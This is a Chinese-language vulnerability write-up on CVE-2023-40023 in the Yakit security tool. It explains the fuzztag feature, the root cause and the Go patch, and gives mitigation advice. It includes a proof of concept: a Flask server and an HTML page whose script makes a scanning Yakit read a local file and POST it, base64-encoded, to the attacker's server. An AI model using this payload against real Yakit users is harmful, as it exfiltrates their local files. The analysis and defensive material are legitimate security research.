yakit CVE-2023-40023漏洞分析
字数 1185 2025-08-23 18:31:09

Yakit CVE-2023-40023漏洞分析与利用教学文档

漏洞概述

CVE-2023-40023是Yakit软件中的一个安全漏洞,允许攻击者通过构造恶意网页,利用Yakit的fuzztag功能读取用户本地文件内容并以base64编码形式发送到攻击者控制的服务器。

漏洞影响

  • 受影响版本:Yakit v1.2.4及之前版本
  • 漏洞类型:文件读取/信息泄露
  • 攻击场景:当Yakit用户使用XSS等插件扫描恶意网页时触发

前置知识:Yakit Fuzztag

基本概念

Fuzztag是Yakit中的一种小型语法结构,格式为:{{tagname(tagvalue)}},例如:

  • {{randint(1,100)}}:生成1-100随机整数
  • {{base64enc(abc)}}:输出YWJj(abc的base64编码)

相关标签

  1. base64enc:进行base64编码

    • 示例:{{base64enc(abc)}}YWJj
  2. file:读取文件内容

    • 支持多个文件,用竖线分隔
    • 示例:
      • {{file(/tmp/1.txt)}}
      • {{file(/tmp/1.txt|/tmp/test.txt)}}

漏洞复现

环境准备

  1. 安装漏洞版本Yakit

    • 下载v1.2.4版本引擎
    • 替换默认引擎路径:
      • Windows: C:\Users\<用户>\yakit-projects\yak-engine
      • 客户端目录: C:\Users\<用户>\AppData\Local\Programs\yakit
  2. 搭建攻击环境

使用Flask创建恶意网站:

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        data = request.form.to_dict()
        return data
    else:
        return 'Unsupported request method'

if __name__ == '__main__':
    app.run(debug=True)

创建index.html

<!DOCTYPE html>
<html>
<head>
    <title>Attack Page</title>
</head>
<body>
    <h1>Hello, this is a attack page!</h1>
</body>
<script>
    const xhr = new XMLHttpRequest();
    xhr.open("POST", "http://127.0.0.1:5000");
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send(`file={{base64enc(file(C://test))}}`);
</script>
</html>

攻击步骤

  1. 启动恶意Flask服务器
  2. 在Yakit中打开XSS插件(或其他插件)
  3. 访问恶意网页http://127.0.0.1:5000
  4. 观察POST请求,其中包含C://test文件的base64编码内容

漏洞原理

  1. 正常情况:Yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析
  2. 漏洞触发条件:当流量经过插件处理时,会调用fuzz库解析请求中的fuzztag
  3. 核心问题
    • _httpPool函数会将所有fuzztag进行解析
    • file tag在初始化时被设置为全局可用
    • 插件处理新请求时会解析其中的fuzztag

漏洞修复

修复方案主要修改点:

  1. 移除QuickMutateWithCallbackEx2方法
  2. 在配置中添加FuzzFileOptions函数:
func FuzzFileOptions() []FuzzConfigOpt {
    var opt []FuzzConfigOpt
    for _, t := range Filetag() {
        opt = append(opt, Fuzz_WithExtraFuzzTagHandler(t.TagName, t.Handler))
        for _, a := range t.Alias {
            opt = append(opt, Fuzz_WithExtraFuzzTagHandler(a, t.Handler))
        }
    }
    return opt
}
  1. 通过config.ForceFuzzfile参数限制file tag解析:
if config.ForceFuzzfile {
    opts = append(opts, FuzzFileOptions()...)
}

防御建议

  1. 及时升级到Yakit最新版本
  2. 避免使用不受信任的插件
  3. 谨慎扫描未知网站
  4. 限制Yakit的网络访问权限

参考链接

  1. Medi0cr1ty师傅的漏洞分析文章
  2. GitHub安全公告
Yakit CVE-2023-40023漏洞分析与利用教学文档 漏洞概述 CVE-2023-40023是Yakit软件中的一个安全漏洞,允许攻击者通过构造恶意网页,利用Yakit的fuzztag功能读取用户本地文件内容并以base64编码形式发送到攻击者控制的服务器。 漏洞影响 受影响版本 :Yakit v1.2.4及之前版本 漏洞类型 :文件读取/信息泄露 攻击场景 :当Yakit用户使用XSS等插件扫描恶意网页时触发 前置知识:Yakit Fuzztag 基本概念 Fuzztag是Yakit中的一种小型语法结构,格式为: {{tagname(tagvalue)}} ,例如: {{randint(1,100)}} :生成1-100随机整数 {{base64enc(abc)}} :输出 YWJj (abc的base64编码) 相关标签 base64enc :进行base64编码 示例: {{base64enc(abc)}} → YWJj file :读取文件内容 支持多个文件,用竖线分隔 示例: {{file(/tmp/1.txt)}} {{file(/tmp/1.txt|/tmp/test.txt)}} 漏洞复现 环境准备 安装漏洞版本Yakit : 下载v1.2.4版本引擎 替换默认引擎路径: Windows: C:\Users\<用户>\yakit-projects\yak-engine 客户端目录: C:\Users\<用户>\AppData\Local\Programs\yakit 搭建攻击环境 : 使用Flask创建恶意网站: 创建 index.html : 攻击步骤 启动恶意Flask服务器 在Yakit中打开XSS插件(或其他插件) 访问恶意网页 http://127.0.0.1:5000 观察POST请求,其中包含 C://test 文件的base64编码内容 漏洞原理 正常情况 :Yakit默认不会对经过MITM PROXY的流量中的fuzztag进行解析 漏洞触发条件 :当流量经过插件处理时,会调用fuzz库解析请求中的fuzztag 核心问题 : _httpPool 函数会将所有fuzztag进行解析 file tag在初始化时被设置为全局可用 插件处理新请求时会解析其中的fuzztag 漏洞修复 修复方案主要修改点: 移除 QuickMutateWithCallbackEx2 方法 在配置中添加 FuzzFileOptions 函数: 通过 config.ForceFuzzfile 参数限制file tag解析: 防御建议 及时升级到Yakit最新版本 避免使用不受信任的插件 谨慎扫描未知网站 限制Yakit的网络访问权限 参考链接 Medi0cr1ty师傅的漏洞分析文章 GitHub安全公告